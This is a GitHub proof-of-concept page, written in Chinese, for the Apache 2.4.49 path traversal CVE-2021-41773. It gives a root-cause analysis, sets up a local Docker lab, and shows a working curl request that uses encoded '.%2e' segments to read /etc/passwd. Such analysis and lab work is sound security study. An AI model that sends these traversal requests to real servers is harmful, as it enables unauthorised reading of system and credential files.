tr3m0x/CVE-2021-41773

GitHub: tr3m0x/CVE-2021-41773

该项目提供了 Apache HTTP Server 2.4.49 路径遍历漏洞 CVE-2021-41773 的概念验证代码与深度根因分析。

Stars: 0 | Forks: 0

# CVE-2021-41773 PoC — Apache HTTP Server 路径遍历 ## 概述 CVE-2021-41773 是一个影响 **Apache HTTP Server 2.4.49** 的路径遍历漏洞。 该漏洞允许攻击者在特定配置下访问预期目录之外的文件,特别是当目录通过 `Alias`、`ScriptAlias` 或其他类似 Alias 的指令暴露时。 该漏洞的存在是由于对 **URL 路径规范化与标准化** 的处理不当。Apache 对路径表示形式执行了安全检查,而该表示形式可能仍然包含编码字符,这使得攻击者能够利用编码的点序列绕过遍历检测。 ## 影响 攻击者可以构造一个包含编码遍历序列的恶意 URL,例如: ``` .%2e ``` 其中: ``` %2e = . ``` 因此: ``` .%2e ``` 在解码后变为: ``` .. ``` 如果 Apache 在将其解析为标准形式之前验证了编码的表示形式,则遍历检查可能会被绕过。 成功利用该漏洞可使攻击者从文件系统中读取任意文件。 示例目标: ``` /etc/passwd ``` # 漏洞代码 存在漏洞的逻辑位于: ``` server/util.c ``` 内部: ``` ap_normalize_path() ``` Apache 2.4.49 的漏洞代码: ``` if (path[l] == '.') { /* Remove /./ segments */ if (IS_SLASH_OR_NUL(path[l + 1])) { l++; if (path[l]) { l++; } continue; } /* Remove /xx/../ segments */ if (path[l + 1] == '.' && IS_SLASH_OR_NUL(path[l + 2])) { /* Wind w back to remove the previous segment */ if (w > 1) { do { w--; } while (w && !IS_SLASH(path[w - 1])); } else { /* Already at root, ignore and return a failure * if asked to. */ if (flags & AP_NORMALIZE_NOT_ABOVE_ROOT) { ret = 0; } } /* Move l forward to the next segment */ l += 2; if (path[l]) { l++; } continue; } } ``` # 根本原因分析 漏洞代码试图识别目录遍历模式: ``` ../ ``` 通过检查连续的点: ``` path[l + 1] == '.' ``` 然而,攻击者可以提供一个编码后的遍历序列: ``` /.%2e/ ``` 在进行规范化检查时,Apache 处理的是: ``` .%2e ``` 而不是: ``` .. ``` 因为: ``` %2e != . ``` 遍历检测逻辑未能将该序列识别为: ``` ../ ``` 随后,该路径以其解码形式被解释,从而导致了遍历的发生。 # 存在漏洞的处理流程 存在漏洞的行为可以表示为: ``` HTTP Request | v Path normalization / traversal validation | v URL decoding / canonicalization | v Filesystem access ``` 安全决策是在路径到达其最终标准表示形式之前做出的。 更安全的做法是: ``` HTTP Request | v URL decoding | v Path normalization | v Traversal validation | v Filesystem access ``` 安全检查应始终针对最终规范化的表示形式进行。 # 实验环境搭建 ## 克隆仓库 ``` git clone https://github.com/tr3m0x/CVE-2021-41773.git cd CVE-2021-41773 ``` ## 构建存在漏洞的 Docker 镜像 ``` docker build -t apache-cve-2021-41773 . ``` ## 启动存在漏洞的 Apache 服务器 ``` docker run -d \ --name apache-vulnerable \ -p 8989:80 \ apache-cve-2021-41773 ``` # 漏洞利用 发送一个包含编码遍历序列的请求: ``` curl --path-as-is \ "http://localhost:8989/icons/.%2e/.%2e/.%2e/.%2e/etc/passwd" ``` 成功的漏洞利用将返回以下内容: ``` /etc/passwd ``` 示例: ``` root:x:0:0:root:/root:/bin/bash ``` # 关于 HTTP 403 响应的说明 `403 Forbidden` 响应并不一定意味着漏洞利用失败。 在测试过程中,Apache 可能会成功地将: ``` /icons/.%2e/.%2e/.%2e/.%2e/etc/passwd ``` 规范化为: ``` /etc/passwd ``` 但由于文件系统权限或 Apache 授权规则而拒绝访问。 示例: ``` client denied by server configuration: /etc/passwd ``` 这表明遍历已经成功发生,但访问控制阻止了文件的泄露。 # 关键结论 CVE-2021-41773 是一个典型的**标准化漏洞**案例。 用户可控的输入可以有多种表示形式: ``` .%2e ``` 和: ``` .. ``` 尽管它们看起来不同,但表示的是相同的路径组件。 安全检查必须始终在解码和规范化之后进行。验证编码或模糊的表示形式可能会导致安全绕过。
标签:Apache HTTP Server, CISA项目, Cutter, PoC, 安全漏洞, 暴力破解, 请求拦截, 路径穿越